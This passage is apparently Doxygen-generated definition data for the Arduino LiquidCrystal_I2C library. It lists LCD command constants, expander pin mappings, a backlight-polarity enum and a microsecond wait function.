define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a61f16a2b7550e4700f7898a7587c5594'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORSHIFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '92'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1adfb8b2b8b8a08d7313504d7a4f89d99f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYCONTROL'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab2f7b67abfac33f610acfd5d7a971f40'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '115'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a257ebe775cac7140cf82aa40d8ce545a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '107'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a76236ae8317b34bbc98ea56bc0a2639c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '106'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ae7c6309fce6200bd7526d090a4a84dd0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYLEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '100'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a5597e1d5819ea2f0734ad4313abf6703'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYMODESET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a43c26ba2e66880fac95ef640b56873ad'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYRIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '99'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a049ee97e98d04788c1da9a55590fbe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTDECREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '102'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa2cf1d0f4a319e53c009cffe1184466c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTINCREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '101'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aaef882ae70d1f485cd132815d9716111'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_FUNCTIONSET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x20 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aafb86adb0dfca1e65d65b2cd1946a009'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVELEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '118'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acf5999180233790bb2c9902efde58f7f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVERIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '117'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a154c86a887633d0f6d9988e4dbb1f419'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_RETURNHOME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '89'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aae6ea856879c11dee58493184582a52f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETCGRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '94'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a15008b832807a208d9d88c74e6751ebf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETDDRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '95'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + enum = { + enum-member = { + enum-mem-kind = 'enum'; + enum-mem-id = '_l_c_d_8h_1aeeef728bf4726268aa5e99391a1502bc'; + enum-mem-virt = normal; + enum-mem-prot = public; + enum-mem-name = 't_backlighPol'; + enum-mem-enum = { enum-name = POSITIVE; }; + enum-mem-enum = { enum-name = NEGATIVE; }; + enum-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + enum-mem-desc-line = '167'; + enum-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + enum-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* enum-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_l_c_d_8h_1a6eac41e4be58d7736ac0c19de225c0dc'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +static void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'waitUsec'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint16_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'uSec'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + func-mem-desc-line = '72'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + + + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8cpp'; + file-name = 'LiquidCrystal.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a31e1c14e8c2845dec3301f0ebd36b43c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '45'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a57d84af8cf61ceee4eb91db77889f071'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '46'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8h'; + file-name = 'LiquidCrystal.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8h_1adebff0f00a59c9f9863bc196938d5726'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EXEC_TIME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +37 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8cpp'; + file-name = 'LiquidCrystal_I2C.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '89'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '66'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '48'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '80'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '73'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8h'; + file-name = 'LiquidCrystal_I2C.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r_8cpp'; + file-name = 'LiquidCrystal_SR.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r_8h'; + file-name = 'LiquidCrystal_SR.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1a0075b041d82abb47f279dce482e7b087'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR_EN_BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '92'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1afdaa2bbb2cc185700864ac8d7a570ced'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR_RS_BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1a40fb1f76bc5f8ca9e6534b47bd6da27c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'TWO_WIRE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +204 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r2_w_8cpp'; + file-name = 'LiquidCrystal_SR2W.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r2_w_8h'; + file-name = 'LiquidCrystal_SR2W.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = 